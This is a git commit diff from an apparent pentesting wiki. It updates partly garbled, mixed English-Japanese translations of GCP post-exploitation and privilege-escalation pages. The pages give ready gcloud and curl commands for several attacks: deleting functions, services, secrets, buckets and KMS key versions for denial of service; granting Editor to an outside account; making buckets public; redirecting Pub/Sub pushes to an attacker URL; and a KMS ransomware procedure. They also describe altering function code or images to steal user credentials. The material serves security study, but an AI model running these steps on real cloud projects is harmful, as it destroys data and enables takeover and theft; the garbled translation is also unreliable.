Translated ['src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp

This commit is contained in:
Translator
2025-11-26 17:24:53 +00:00
parent c02aad89d3
commit 8b37a4b8a9
18 changed files with 1265 additions and 449 deletions
@@ -4,7 +4,7 @@
## `App Engine`
For information about App Engine check:
App Engine に関する情報は以下を参照してください:
{{#ref}}
../gcp-services/gcp-app-engine-enum.md
@@ -12,36 +12,37 @@ For information about App Engine check:
### `appengine.memcache.addKey` | `appengine.memcache.list` | `appengine.memcache.getKey` | `appengine.memcache.flush`
With these permissions it's possible to:
これらの権限により、次のことが可能です:
- キーを追加する
- キーを一覧表示する
- キーを取得する
- 削除する
- キーを削除する
> [!CAUTION]
> しかし、私は **couldn't find any way to access this information from the cli**, からのみ **web console** 、そこで **Key type** と **Key name** を知っている必要があり、または a**pp engine running app** からしかアクセスできませんでした
> ただし、私は **couldn't find any way to access this information from the cli****web console** からのみアクセスでき、そこで **Key type** と **Key name** を知る必要があります、または a**pp engine running app** からアクセスします
>
> これらの権限を使用するより簡単な方法をご存知の場合は、Pull Request を送ってください!
> これらの権限を使より簡単な方法をご存知であれば、Pull Request を送ってください
### `logging.views.access`
With this permission it's possible to **see the logs of the App**:
<details>
<summary>Tail app logs</summary>
この権限があれば **アプリのログを見る** ことが可能です:
```bash
gcloud app logs tail -s <name>
```
</details>
### サービスとバージョンの削除
### ソースコードを読む
`appengine.versions.delete``appengine.versions.list`、および `appengine.services.list` の権限は、App Engine アプリケーションの特定のバージョンを管理・削除することを許可します。トラフィックが分割されている場合や唯一の安定版が削除された場合に、トラフィックに影響を与える可能性があります。一方で、`appengine.services.delete``appengine.services.list` の権限はサービス全体の一覧表示および削除を許可し、これは関連するバージョンの可用性と全トラフィックを即座に中断する操作です。
```bash
gcloud app versions delete <VERSION_ID>
gcloud app services delete <SERVICE_NAME>
```
### ソースコードの閲覧
すべてのバージョンサービスのソースコードは名前 **`staging.<proj-id>.appspot.com`** **bucket** に格納されています。書き込み権限がある場合、ソースコードを読み、**vulnerabilities** や **sensitive information** を検索できます。
すべてのバージョンおよびサービスのソースコードは **bucket に格納されています**名前 **`staging.<proj-id>.appspot.com`** です。そこに対する書き込み権限があれば、ソースコードを読み、**脆弱性**や**機密情報**を検索できます。
### ソースコードの変
### ソースコードの
送信されている場合は **credentials** を盗むためにソースコードを改変したり、**defacement web attack** を実行したりできます。
送信されているcredentialsを盗むためにソースコードを改変したり、defacement web attackを実行したります。
{{#include ../../../banners/hacktricks-training.md}}
@@ -4,7 +4,7 @@
## Cloud Functions
Cloud Functions に関する情報は次を参照してください:
Find some information about Cloud Functions in:
{{#ref}}
../gcp-services/gcp-cloud-functions-enum.md
@@ -12,30 +12,30 @@ Cloud Functions に関する情報は次を参照してください:
### `cloudfunctions.functions.sourceCodeGet`
この権限があれば、Cloud Function のソースコードをダウンロードするための**署名付きURL**を取得できます:
<details>
<summary>ソースコードをダウンロードするための署名付きURLを取得</summary>
この権限があれば、Cloud Function のソースコードをダウンロードできる **signed URL** を取得できます:
```bash
curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions/{function-name}:generateDownloadUrl \
-H "Authorization: Bearer $(gcloud auth application-default print-access-token)" \
-H "Content-Type: application/json" \
-d '{}'
```
</details>
### `cloudfunctions.functions.delete`
`cloudfunctions.functions.delete` 権限は、アイデンティティに Cloud Function のコード、構成、トリガー、およびサービスアカウントとの関連を含めて完全に削除することを許可します。
```bash
gcloud functions delete <FUNCTION_NAME> \
--region=us-central1 \
--quiet
```
### Code Exfiltration バケット経由
The `storage.objects.get` and `storage.objects.list` permissions allow listing and reading objects inside a bucket, and in the case of Cloud Functions this is especially relevant because each function stores its source code in an automatically managed Google bucket, whose name follows the format `gcf-sources-<PROJECT_NUMBER>-<REGION>`
### Cloud Function リクエストの窃取
### Steal Cloud Function Requests
If the Cloud Function is managing sensitive information that users are sending (e.g. passwords or tokens), with enough privileges you could **modify the source code of the function and exfiltrate** this information.
Moreover, Cloud Functions running in python use **flask** to expose the web server, if you somehow find a code injection vulnerability inside the flaks process (a SSTI vulnerability for example), it's possible to **override the function handler** that is going to receive the HTTP requests for a **malicious function** that can **exfiltrate the request** before passing it to the legit handler.
例えば、次のコードはこの攻撃を実装しています:
<details>
<summary>Cloud Function リクエストの窃取 (Python injection)</summary>
For example this code implements the attack:
```python
import functions_framework
@@ -132,8 +132,4 @@ return "Injection completed!"
except Exception as e:
return str(e)
```
</details>
{{#include ../../../banners/hacktricks-training.md}}
@@ -1,23 +1,34 @@
# GCP - Cloud Run ポストエクスプロイテーション
# GCP - Cloud Run Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
## Cloud Run
Cloud Run に関する詳細情報は、以下を確認してください:
Cloud Run の詳細については、次を参照してください
{{#ref}}
../gcp-services/gcp-cloud-run-enum.md
{{#endref}}
### CloudRun Job の削除
`run.services.delete``run.services.get` の権限、および `run.jobs.delete` は、アイデンティティが Cloud Run のサービスやジョブ(構成や履歴を含む)を完全に削除できるようにします。攻撃者の手に渡ると、これはアプリケーションや重要なワークフローに即時の障害を引き起こし、サービスロジックや必須のスケジュールされたタスクに依存するユーザーやシステムに対してサービス拒否(DoS)をもたらす可能性があります。
ジョブを削除するには、次の操作を実行できます。
```bash
gcloud run jobs delete <JOB_NAME> --region=<REGION> --quiet
```
サービスを削除するには、次の操作を実行します。
```bash
gcloud run services delete <SERVICE_NAME> --region=<REGION> --quiet
```
### 画像にアクセスする
コンテナ画像にアクセスできる場合は、脆弱性やハードコーディングされた機密情報のコードを確認してください。また、環境変数内の機密情報も確認してください
コンテナイメージにアクセスできる場合は、コードに脆弱性やハードコーされた機密情報がないか確認してください。env variables に含まれる機密情報も確認します
画像がサービスの Artifact Registry 内のリポジトリに保存されており、ユーザーがリポジトリに対して読み取りアクセスを持っている場合、はこのサービスから画像をダウンロードすることもできます。
イメージが Artifact Registry サービス内のリポジトリに保存されており、ユーザーがそれらのリポジトリに対して読み取りアクセスを持っている場合、そのユーザーはこのサービスからイメージをダウンロードすることもできます。
### 画像を変更して再デプロイする
### イメージを修正して再デプロイする
情報を盗むために実行画像を変更し、新しいバージョンを再デプロイします(同じタグ新しい Docker コンテナをアップロードするだけでは実行されません)。例えば、ログインページを公開している場合、ユーザーが送信している資格情報を盗むことができます。
実行されるイメージを改変して情報を盗み、新しいバージョンを再デプロイします(同じタグ新しい docker container を単にアップロードしても実行されません)。例えば、ログインページを公開している場合、ユーザーが送信する認証情報を盗むようにします。
{{#include ../../../banners/hacktricks-training.md}}
@@ -12,24 +12,40 @@ You can find further information about IAM in:
### 管理コンソールへのアクセス付与 <a href="#granting-access-to-management-console" id="granting-access-to-management-console"></a>
[GCP management console](https://console.cloud.google.com) へのアクセスは **ユーザーアカウントに提供され、サービスアカウントには提供されません**
Access to the [GCP management console](https://console.cloud.google.com) is **provided to user accounts, not service accounts**。Web インターフェースにログインするには、自分が管理する **Google account** にアクセス権を付与できます。これは一般的な "**@gmail.com**" アカウントで構いません。**対象組織のメンバーである必要はありません**。
Webインターフェースにログインするには、あなたが管理する **Google アカウント** にアクセス権を付与できます。これは一般的な "**@gmail.com**" アカウントでも構いませんし、ターゲット組織のメンバーである必要はありません
ただし、一般的な "@gmail.com" アカウントにプリミティブロールの **Owner** を**付与**するには、**web console** を使用する必要があります。`gcloud` は Editor を超える権限を付与しようとするとエラーになります
ただし、一般的な "**@gmail.com**" アカウントにプリミティブロール **Owner****付与する**には、**web コンソールを使用する**必要があります。`gcloud` は、Editor より上の権限を付与しようとするとエラーになります
既存のプロジェクトに対してユーザーにプリミティブロール **Editor** を付与するには、次のコマンドを使用できます:
<details>
<summary>ユーザーに Editor ロールを付与</summary>
既存プロジェクトに対してユーザーにプリミティブロール **Editor** を付与するには、次のコマンドを使用できます
```bash
gcloud projects add-iam-policy-binding [PROJECT] --member user:[EMAIL] --role roles/editor
```
</details>
If you succeeded here, try **Web インターフェースにアクセス**して、そこから探索してみてください。
もしここで成功したら、**Webインターフェースにアクセス**してそこから探索してみてください
This is the **gcloud tool を使用して割り当てられる最高レベルです**
これは**gcloudツールを使って割り当てられる最も高いレベル**です。
### IAM コンポーネントを削除 `iam.*.delete`
`iam.*.delete` 権限(例: `iam.roles.delete`, `iam.serviceAccountApiKeyBindings.delete`, `iam.serviceAccountKeys.delete` など)は、カスタムロール、API キーバインディング、サービスアカウントキー、およびサービスアカウント自体など、重要な IAM コンポーネントを削除することをアイデンティティに許可します。攻撃者の手に渡ると、正当なアクセス手段を削除してサービス拒否(DoS)を引き起こすことが可能になります。
そのような攻撃を行うには、例えばロールを削除することが可能です:
```bash
gcloud iam roles delete <ROLE_ID> --project=<PROJECT_ID>
```
### `iam.serviceAccountKeys.disable` || `iam.serviceAccounts.disable`
`iam.serviceAccountKeys.disable``iam.serviceAccounts.disable` の権限があれば、アクティブな service account keys や service accounts を無効化できます。攻撃者の手に渡ると、運用の妨害、denial of service の発生、または正当な認証情報の使用を阻止して incident response を妨げるために利用される可能性があります。
Service Account を無効化するには、次のコマンドを使用します:
```bash
gcloud iam service-accounts disable <SA_EMAIL> --project=<PROJECT_ID>
```
Service Account のキーを無効にするには、次のコマンドを使用します:
```bash
gcloud iam service-accounts keys disable <KEY_ID> --iam-account=<SA_EMAIL>
```
### `iam.*.undelete`
`iam.*.undelete` 権限は、API key bindings、custom roles、service accounts のような以前に削除された要素を復元することを可能にします。攻撃者の手に渡ると、対策を元に戻して(削除されたアクセスの回復)、永続化のために削除された侵害ベクトルを再構築したり、修復措置を回避してインシデントの封じ込めを困難にするために利用される可能性があります。
```bash
gcloud iam service-accounts undelete "${SA_ID}" --project="${PROJECT}"
```
{{#include ../../../banners/hacktricks-training.md}}
@@ -4,7 +4,7 @@
## KMS
KMS 基本情報は次を参照してください:
KMS に関する基本情報は次を参照してください
{{#ref}}
../gcp-services/gcp-kms-enum.md
@@ -12,11 +12,11 @@ KMS の基本情報は次を参照してください:
### `cloudkms.cryptoKeyVersions.destroy`
この権限を持つ攻撃者は KMS バージョンを破壊する可能性があります。これを行うにはまずキーを無効化し、その後で破棄する必要があります:
この権限を持つ攻撃者は KMS バージョンを破棄できます。そのためにはまずキーを無効化し、続けて破棄する必要があります
<details>
<summary>キー バージョンの無効化と破壊 (Python)</summary>
<summary>キーの無効化と破棄(Python</summary>
```python
# pip install google-cloud-kms
@@ -65,24 +65,24 @@ destroy_key_version(project_id, location_id, key_ring_id, key_id, key_version)
### KMS Ransomware
AWS では、KMS resource policy を変更して攻撃者のアカウントだけがそのキーを使用できるようにすることで、完全に **steal a KMS key** することが可能です。これらの resource policies は GCP には存在しないため、これは不可能です。
AWSでは、KMS resource policyを変更して攻撃者のアカウントのみがそのキーを使用できるようにすることで、**KMS key**を完全に盗むことが可能です。GCPにはこれらのresource policies存在しないため、これは不可能です。
しかし、グローバルな KMS Ransomware を実行する別の方法があり、の手順を含みます:
しかし、global KMS Ransomwareを実行する別の方法があり、これは以下の手順を含みます:
- 攻撃者がインポートした **version of the key with a key material** を使ってキーの新しいバージョンを作成する
- 攻撃者がインポートした**key materialを含むキーの新しいバージョン**を作成する
```bash
gcloud kms import-jobs create [IMPORT_JOB] --location [LOCATION] --keyring [KEY_RING] --import-method [IMPORT_METHOD] --protection-level [PROTECTION_LEVEL] --target-key [KEY]
```
- れを **デフォルト バージョン** 設定する(今後暗号化されるデータ用)
- 以前のバージョンで暗号化された古いデータを**再暗号化する**新しいバージョンで)
- **KMS key を削除する**
- これにより、元の素材を持つ攻撃者だけが暗号化されたデータを復号できるようになる
- れを **デフォルトバージョン** として設定する(今後暗号化されるデータ用)
- **古いデータを再暗号化する**以前のバージョンで暗号化されたデータを新しいバージョンで再暗号化する
- **KMSキーを削除する**
- これにより、元のキー素材を持つ攻撃者だけが暗号化されたデータを復号できるようになる
#### 新しいバージョンをインポートし、古いデータを無効化/削除する手順:
#### 新しいバージョンをインポートし、古いデータを無効化/削除する手順は以下の通り:
<details>
<summary>新しいキー バージョンをインポートして古いバージョンを削除する</summary>
<summary>新しいキーバージョンをインポートして古いバージョンを削除</summary>
```bash
# Encrypt something with the original key
echo "This is a sample text to encrypt" > /tmp/my-plaintext-file.txt
@@ -203,7 +203,7 @@ print('Ciphertext:', ciphertext)
<details>
<summary>非対称鍵でメッセージに署名する (Python)</summary>
<summary>非対称鍵でメッセージに署名 (Python)</summary>
```python
import hashlib
from google.cloud import kms
@@ -243,7 +243,7 @@ print('Signature:', signature)
<details>
<summary>非対称で署名を検証する (Python)</summary>
<summary>非対称キーで署名を検証する (Python)</summary>
```python
from google.cloud import kms
import hashlib
@@ -270,6 +270,32 @@ return verify_response.success
verified = verify_asymmetric_signature(project_id, location_id, key_ring_id, key_id, key_version, message, signature)
print('Verified:', verified)
```
### `cloudkms.cryptoKeyVersions.restore`
`cloudkms.cryptoKeyVersions.restore` 権限は、以前に破棄予定に設定されたか無効化された Cloud KMS のキー バージョンを復元し、アクティブで使用可能な状態に戻すことを許可します。
```bash
gcloud kms keys versions restore <VERSION_ID> \
--key=<KEY_NAME> \
--keyring=<KEYRING_NAME> \
--location=<LOCATION> \
--project=<PROJECT_ID>
```
### `cloudkms.cryptoKeyVersions.update`
`cloudkms.cryptoKeyVersions.update` 権限は、アイデンティティが Cloud KMS の特定のキー バージョンの属性や状態を変更できることを許可します。例えば、そのキー バージョンを有効化または無効化することができます。
```bash
# Disable key
gcloud kms keys versions disable <VERSION_ID> \
--key=<KEY_NAME> \
--keyring=<KEYRING_NAME> \
--location=<LOCATION> \
--project=<PROJECT_ID>
# Enable key
gcloud kms keys versions enable <VERSION_ID> \
--key=<KEY_NAME> \
--keyring=<KEYRING_NAME> \
--location=<LOCATION> \
--project=<PROJECT_ID>
```
</details>
{{#include ../../../banners/hacktricks-training.md}}
@@ -4,7 +4,7 @@
## Pub/Sub
Pub/Subの詳細については、次のページを参照してください:
For more information about Pub/Sub check the following page:
{{#ref}}
../gcp-services/gcp-pub-sub.md
@@ -12,7 +12,7 @@ Pub/Subの詳細については、次のページを参照してください:
### `pubsub.topics.publish`
トピックにメッセージをpublishします。**予期しないデータを送信**して予期しない機能をトリガーしたり脆弱性を悪用したりするのに有用です:
トピックにメッセージを公開します。**予期しないデータを送信する**のに有用で、予期しない機能をトリガーしたり脆弱性を悪用したりするために使えます:
<details>
@@ -25,11 +25,11 @@ gcloud pubsub topics publish <topic_name> --message "Hello!"
### `pubsub.topics.detachSubscription`
subscriptionがメッセージを受信しないようにするのに有用で、検を回避するために使える場合がある
サブスクリプションがメッセージを受信するのを防ぐのに有用で、検を回避するために使うことがあります
<details>
<summary>トピックからsubscriptionをデタッチ</summary>
<summary>トピックからサブスクリプションを切り離す</summary>
```bash
gcloud pubsub topics detach-subscription <FULL SUBSCRIPTION NAME>
```
@@ -38,11 +38,11 @@ gcloud pubsub topics detach-subscription <FULL SUBSCRIPTION NAME>
### `pubsub.topics.delete`
サブスクリプションがメッセージを受信するのを防ぎ、検出を回避するのに有用です。\
サブスクリプションがアタッチされている状態でもトピックを削除することが可能です。
サブスクリプションが紐づいている状態でもトピックを削除できます。
<details>
<summary>Delete topic</summary>
<summary>トピックを削除</summary>
```bash
gcloud pubsub topics delete <TOPIC NAME>
```
@@ -50,15 +50,41 @@ gcloud pubsub topics delete <TOPIC NAME>
### `pubsub.topics.update`
この権限を使用して、トピックの設定を更新し妨害できます。例: `--clear-schema-settings``--message-retention-duration``--message-storage-policy-allowed-regions``--schema``--schema-project``--topic-encryption-key`...
この権限を使用して、トピックの設定の一部を更新し妨害するために使います。例えば `--clear-schema-settings``--message-retention-duration``--message-storage-policy-allowed-regions``--schema``--schema-project``--topic-encryption-key`...
### `pubsub.topics.setIamPolicy`
自分に権限を付与して、前述のいずれの攻撃実行できるようにします。
自分に権限を付与して、前述のいずれの攻撃実行できるようにします。
```bash
# Add Binding
gcloud pubsub topics add-iam-policy-binding <TOPIC_NAME> \
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
--role="<ROLE_OR_CUSTOM_ROLE>" \
--project="<PROJECT_ID>"
# Remove Binding
gcloud pubsub topics remove-iam-policy-binding <TOPIC_NAME> \
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
--role="<ROLE_OR_CUSTOM_ROLE>" \
--project="<PROJECT_ID>"
# Change Policy
gcloud pubsub topics set-iam-policy <TOPIC_NAME> \
<(echo '{
"bindings": [
{
"role": "<ROLE_OR_CUSTOM_ROLE>",
"members": [
"serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com"
]
}
]
}') \
--project=<PROJECT_ID>
```
### **`pubsub.subscriptions.create,`**`pubsub.topics.attachSubscription` , (`pubsub.subscriptions.consume`)
ウェブサーバー上のすべてのメッセージを取得する:
ウェブサーバーで全てのメッセージを取得する:
<details>
@@ -69,7 +95,7 @@ gcloud pubsub subscriptions create <subscription name> --topic <topic name> --pu
```
</details>
サブスクリプションを作成し、それを使用し**pull messages** を取得します:
サブスクリプションを作成し、それを使**pull messages**:
<details>
@@ -86,11 +112,11 @@ gcloud pubsub subscriptions pull <FULL SUBSCRIPTION NAME>
### `pubsub.subscriptions.delete`
**サブスクリプションの削除** は、ログ処理システムなどを中断するのに役立つことがあります:
**サブスクリプションの削除**は、ログ処理システムの妨害などに有用な場合があります:
<details>
<summary>サブスクリプション削除</summary>
<summary>サブスクリプション削除</summary>
```bash
gcloud pubsub subscriptions delete <FULL SUBSCRIPTION NAME>
```
@@ -98,11 +124,11 @@ gcloud pubsub subscriptions delete <FULL SUBSCRIPTION NAME>
### `pubsub.subscriptions.update`
この権限を使って、メッセージがアクセスできる場所(URLBig Query tableBucket)に保存されるよう設定を更新したり、単に妨害したりできます。
この権限を使って、メッセージが自分でアクセスできる場所(URL, Big Query table, Bucket)に保存されるよう設定を更新したり、単に妨害したりできます。
<details>
<summary>サブスクリプションのエンドポイントを更新</summary>
<summary>サブスクリプションの更新エンドポイント</summary>
```bash
gcloud pubsub subscriptions update --push-endpoint <your URL> <subscription-name>
```
@@ -110,16 +136,16 @@ gcloud pubsub subscriptions update --push-endpoint <your URL> <subscription-name
### `pubsub.subscriptions.setIamPolicy`
前述の攻撃を実行するために必要な権限を自分に付与します。
前述の攻撃のいずれかを実行するために必要な権限を自分に付与します。
### `pubsub.schemas.attach`, `pubsub.topics.update`,(`pubsub.schemas.create`)
スキーマをトピックにアタッチして、メッセージがそのスキーマを満たさなくなるようにし、結果としてトピックを妨害します。\
スキーマをトピックにアタッチして、メッセージがそを満たさなくなり、その結果トピックが中断されるようにします。\
スキーマが存在しない場合は、新しく作成する必要があるかもしれません。
<details>
<summary>スキーマファイルを作成してトピックにアタッチ</summary>
<summary>スキーマファイルを作成してトピックにアタッチする</summary>
```json:schema.json
{
"namespace": "com.example",
@@ -148,11 +174,11 @@ gcloud pubsub topics update projects/<project-name>/topics/<topic-id> \
### `pubsub.schemas.delete`
スキーマを削除すると、スキーマに適合しないメッセージを送信できるように見えるかもしれません。しかし、スキーマが削除されるため、実際にはトピックにメッセージは入らないでしょう。したがって、これは **無意味**:
schema を削除すると schema に適合しない message を送信できるように見えるかもしれません。しかし、schema が削除される実際にはどの message も topic に入らないため、これは**役に立ちません**
<details>
<summary>スキーマを削除(役に立たない)</summary>
<summary>Delete schema (not useful)</summary>
```bash
gcloud pubsub schemas delete <SCHEMA NAME>
```
@@ -160,15 +186,15 @@ gcloud pubsub schemas delete <SCHEMA NAME>
### `pubsub.schemas.setIamPolicy`
前述の攻撃のいずれかを実行するために必要な権限を自分に付与します。
前述のいずれかの攻撃を実行するために必要な権限を自分に付与します。
### `pubsub.snapshots.create`, `pubsub.snapshots.seek`
これはACKされていないすべてのメッセージのスナップショットを作成し、それらをサブスクリプションに戻します。攻撃者にはあまり有用ではありませんが、以下の通りです:
これは、すべての unACKed メッセージのスナップショットを作成しサブスクリプションに戻します。攻撃者にはあまり有用ではありませんが、参考までに:
<details>
<summary>スナップショットを作成してシークする</summary>
<summary>スナップショットを作成してそこにシークする</summary>
```bash
gcloud pubsub snapshots create YOUR_SNAPSHOT_NAME \
--subscription=YOUR_SUBSCRIPTION_NAME
@@ -4,7 +4,7 @@
## Secretmanager
For more information about Secret Manager check:
Secret Manager の詳細については、以下を参照してください:
{{#ref}}
../gcp-services/gcp-secrets-manager-enum.md
@@ -12,7 +12,7 @@ For more information about Secret Manager check:
### `secretmanager.versions.access`
これは Secret Manager から secrets を読み取るアクセスを与え、保存されている情報によっては権限昇格に役立つことがあります(どの情報がシークレット内に格納されているかによります):
これにより secret manager からシークレットを読み取ることができ、保存されている情報によっては権限昇格に役立つ可能性があります
<details>
@@ -23,4 +23,27 @@ gcloud secrets versions access 1 --secret="<secret_name>"
```
</details>
### `secretmanager.versions.destroy`
`secretmanager.versions.destroy` 権限は、Secret Manager のシークレットの特定のバージョンを恒久的に破棄(回復不可能な削除としてマーク)することをアイデンティティに許可します。これにより重要な認証情報が削除され、denial of service を引き起こしたり、機密データの復旧を妨げたりする可能性があります。
```bash
gcloud secrets versions destroy <VERSION> --secret="<SECRET_NAME>" --project=<PROJECTID>
```
### `secretmanager.versions.disable`
`secretmanager.versions.disable` 権限は、アイデンティティが Secret Manager のアクティブなシークレットバージョンを無効化できるようにし、それらに依存するアプリケーションやサービスからの利用を一時的にブロックします。
```bash
gcloud secrets versions disable <VERSION> --secret="<SECRET_NAME>" --project=<PROJECTID>
```
### `secretmanager.secrets.delete`
`secretmanager.secrets.delete` の権限セットは、アイデンティティが Secret Manager 内のシークレットとその保存されているすべてのバージョンを完全に削除できるようにします。
```bash
gcloud secrets delete <SECRET_NAME> --project=<PROJECT_ID>
```
### `secretmanager.secrets.update`
`secretmanager.secrets.update` 権限は、アイデンティティがシークレットのメタデータや設定(例:ローテーション設定、バージョンポリシー、ラベル、特定のシークレットプロパティなど)を変更できるようにします。
```bash
gcloud secrets update SECRET_NAME \
--project=PROJECT_ID \
--clear-labels \
--rotation-period=DURATION
```
{{#include ../../../banners/hacktricks-training.md}}
@@ -4,19 +4,15 @@
## Cloud Storage
Cloud Storageの詳細は次のページを参照してください:
Cloud Storage の詳細については次のページを参照してください:
{{#ref}}
../gcp-services/gcp-storage-enum.md
{{#endref}}
### Give Public Access
### パブリックアクセスを付与する
外部ユーザ(GCPにログインしているかどうかに関わらず)にバケットのコンテンツへのアクセスを付与することが可能です。ただし、デフォルトではバケット公開するオプション無効になっています:
<details>
<summary>バケット/オブジェクトを公開する</summary>
外部ユーザGCPにログインしているかどうかに関係なく)にバケットのコンテンツへのアクセスを許可することが可能です。ただし、デフォルトではバケット公開設定にするオプション無効になっています:
```bash
# Disable public prevention
gcloud storage buckets update gs://BUCKET_NAME --no-public-access-prevention
@@ -29,10 +25,60 @@ gcloud storage buckets add-iam-policy-binding gs://BUCKET_NAME --member=allUsers
gcloud storage buckets update gs://BUCKET_NAME --add-acl-grant=entity=AllUsers,role=READER
gcloud storage objects update gs://BUCKET_NAME/OBJECT_NAME --add-acl-grant=entity=AllUsers,role=READER
```
</details>
もし **ACLs to a bucket with disabled ACLs** を与えようとすると、次のエラーが発生します: `ERROR: HTTPError 400: Cannot use ACL API to update bucket policy when uniform bucket-level access is enabled. Read more at https://cloud.google.com/storage/docs/uniform-bucket-level-access`
ACLsが無効になっているバケットに**ACLsを付与しようとすると**、次のエラーが発生します: `ERROR: HTTPError 400: Cannot use ACL API to update bucket policy when uniform bucket-level access is enabled. Read more at https://cloud.google.com/storage/docs/uniform-bucket-level-access`
ブラウザから公開された bucket にアクセスするには、URL `https://<bucket_name>.storage.googleapis.com/` または `https://<bucket_name>.storage.googleapis.com/<object_name>` にアクセスしてください。
公開されているバケットにブラウザからアクセスするには、URL `https://<bucket_name>.storage.googleapis.com/` または `https://<bucket_name>.storage.googleapis.com/<object_name>` にアクセスします。
### `storage.objects.delete` (`storage.objects.get`)
オブジェクトを削除するには:
```bash
gcloud storage rm gs://<BUCKET_NAME>/<OBJECT_NAME> --project=<PROJECT_ID>
```
### `storage.buckets.delete`, `storage.objects.delete` & `storage.objects.list`
バケットを削除するには:
```bash
gcloud storage rm -r gs://<BUCKET_NAME>
```
### HMAC Keys を無効化
`storage.hmacKeys.update` permission は HMAC keys を無効化することを許可し、`storage.hmacKeys.delete` permission は Cloud Storage の service accounts に関連付けられた HMAC keys を identity が削除できるようにします。
```bash
# Deactivate
gcloud storage hmac update <ACCESS_ID> --deactivate
# Delete
gcloud storage hmac delete <ACCESS_ID>
```
### `storage.buckets.setIpFilter` & `storage.buckets.update`
`storage.buckets.setIpFilter``storage.buckets.update` の権限があれば、アイデンティティは Cloud Storage バケットの IP アドレスフィルタを設定でき、どの IP 範囲またはアドレスがバケットのリソースにアクセスできるかを指定できます。
IP フィルタを完全にクリアするには、次のコマンドを使用できます:
```bash
gcloud storage buckets update gs://<BUCKET_NAME> --project=<PROJECT_ID>
```
フィルタリングされた IP を変更するには、次のコマンドを使用できます:
```bash
gcloud storage buckets update gs://<BUCKET_NAME> \
--ip-filter-file=ip-filter.json \
--project=<PROJECT_ID>
```
JSON ファイルはフィルタ自体を表しており、次のようなものです:
```bash
{
"mode": "Enabled",
"publicNetworkSource": {
"allowedIpCidrRanges": ["<IP>/<MASK>"]
},
"allowCrossOrgVpcs": false,
"allowAllServiceAgentAccess": false
}
```
### `storage.buckets.restore`
次を使用してバケットを復元する:
```bash
gcloud storage restore gs://<BUCKET_NAME>#<GENERATION> \
--project=<PROJECT_ID>
```
{{#include ../../../banners/hacktricks-training.md}}
@@ -1,87 +1,139 @@
# GCP - Apikeys Privesc
# GCP - AppEngine Privesc
{{#include ../../../banners/hacktricks-training.md}}
## Apikeys
## App Engine
以下の権限は、API key を作成および盗用するのに役立ちます。ドキュメントからの注意事項: _An API key is a simple encrypted string that **identifies an application without any principal**. They are useful for accessing **public data anonymously**, and are used to **associate** API requests with your project for quota and **billing**._
したがって、API key によりその会社に API の利用料を支払わせることはできますが、権限昇格はできません。
For more information about API Keys check:
App Engineの詳細については次を参照してください:
{{#ref}}
../gcp-services/gcp-api-keys-enum.md
../gcp-services/gcp-app-engine-enum.md
{{#endref}}
For other ways to create API keys check:
### `appengine.applications.get`, `appengine.instances.get`, `appengine.instances.list`, `appengine.operations.get`, `appengine.operations.list`, `appengine.services.get`, `appengine.services.list`, `appengine.versions.create`, `appengine.versions.get`, `appengine.versions.list`, `cloudbuild.builds.get`,`iam.serviceAccounts.actAs`, `resourcemanager.projects.get`, `storage.objects.create`, `storage.objects.list`
これらは、**`gcloud` cli** を使って App をデプロイするために必要な権限です。おそらく **`get`** と **`list`** は **不要** かもしれません。
You can find python code examples in [https://github.com/GoogleCloudPlatform/python-docs-samples/tree/main/appengine](https://github.com/GoogleCloudPlatform/python-docs-samples/tree/main/appengine)
By default, the name of the App service is going to be **`default`**, and there can be only 1 instance with the same name.\
To change it and create a second App, in **`app.yaml`**, change the value of the root key to something like **`service: my-second-app`**
```bash
cd python-docs-samples/appengine/flexible/hello_world
gcloud app deploy #Upload and start application inside the folder
```
少なくとも10~15分は待ってください。もし動作しない場合は、**deploy another of times** を実行して数分待ってください。
> [!NOTE]
> 使用する Service Account を指定することは可能ですが、デフォルトでは App Engine default SA が使用されます。
アプリケーションの URL は次のような形式になります: `https://<proj-name>.oa.r.appspot.com/` または `https://<service_name>-dot-<proj-name>.oa.r.appspot.com`
### 同等の権限を更新
AppEngine を新規作成する権限はなく、更新する権限だけある場合があります。その場合、現在の App Engine を更新する方法は次のとおりです:
```bash
# Find the code of the App Engine in the buckets
gsutil ls
# Download code
mkdir /tmp/appengine2
cd /tmp/appengine2
## In this case it was found in this custom bucket but you could also use the
## buckets generated when the App Engine is created
gsutil cp gs://appengine-lab-1-gcp-labs-4t04m0i6-3a97003354979ef6/labs_appengine_1_premissions_privesc.zip .
unzip labs_appengine_1_premissions_privesc.zip
## Now modify the code..
## If you don't have an app.yaml, create one like:
cat >> app.yaml <<EOF
runtime: python312
entrypoint: gunicorn -b :\$PORT main:app
env_variables:
A_VARIABLE: "value"
EOF
# Deploy the changes
gcloud app deploy
# Update the SA if you need it (and if you have actas permissions)
gcloud app update --service-account=<sa>@$PROJECT_ID.iam.gserviceaccount.com
```
もし**already compromised a AppEngine**で、権限**`appengine.applications.update`**と使用するサービスアカウントに対する**actAs**を持っている場合、AppEngine が使用するサービスアカウントを次のように変更できます:
```bash
gcloud app update --service-account=<sa>@$PROJECT_ID.iam.gserviceaccount.com
```
### `appengine.instances.enableDebug`, `appengine.instances.get`, `appengine.instances.list`, `appengine.operations.get`, `appengine.services.get`, `appengine.services.list`, `appengine.versions.get`, `appengine.versions.list`, `compute.projects.get`
これらの権限があれば、**login via ssh in App Engine instances** が **flexible****standard** ではない)タイプで可能です。 一部の **`list`** および **`get`** 権限は、実際には必須ではない場合があります。
```bash
gcloud app instances ssh --service <app-name> --version <version-id> <ID>
```
### `appengine.applications.update`, `appengine.operations.get`
これはアプリケーションをセットアップする際に google が使用するバックグラウンドの SA を変更するだけだと思います。したがって、これを悪用して service account を steal することはできないと思います。
```bash
gcloud app update --service-account=<sa_email>
```
### `appengine.versions.getFileContents`, `appengine.versions.update`
これらの権限の使い方や有用性はよく分かりません(コードを変更すると新しいバージョンが作成されるため、単にコードやそのバージョンのIAMロールを更新できるかは不明ですが、おそらく可能だと思います。もしかするとbucket内のコードを変更することで??)。
### `bigquery.tables.delete`, `bigquery.datasets.delete` & `bigquery.models.delete` (`bigquery.models.getMetadata`)
テーブル、データセット、またはモデルを削除するには:
```bash
# Table removal
bq rm -f -t <PROJECT_ID>.<DATASET>.<TABLE_NAME>
# Dataset removal
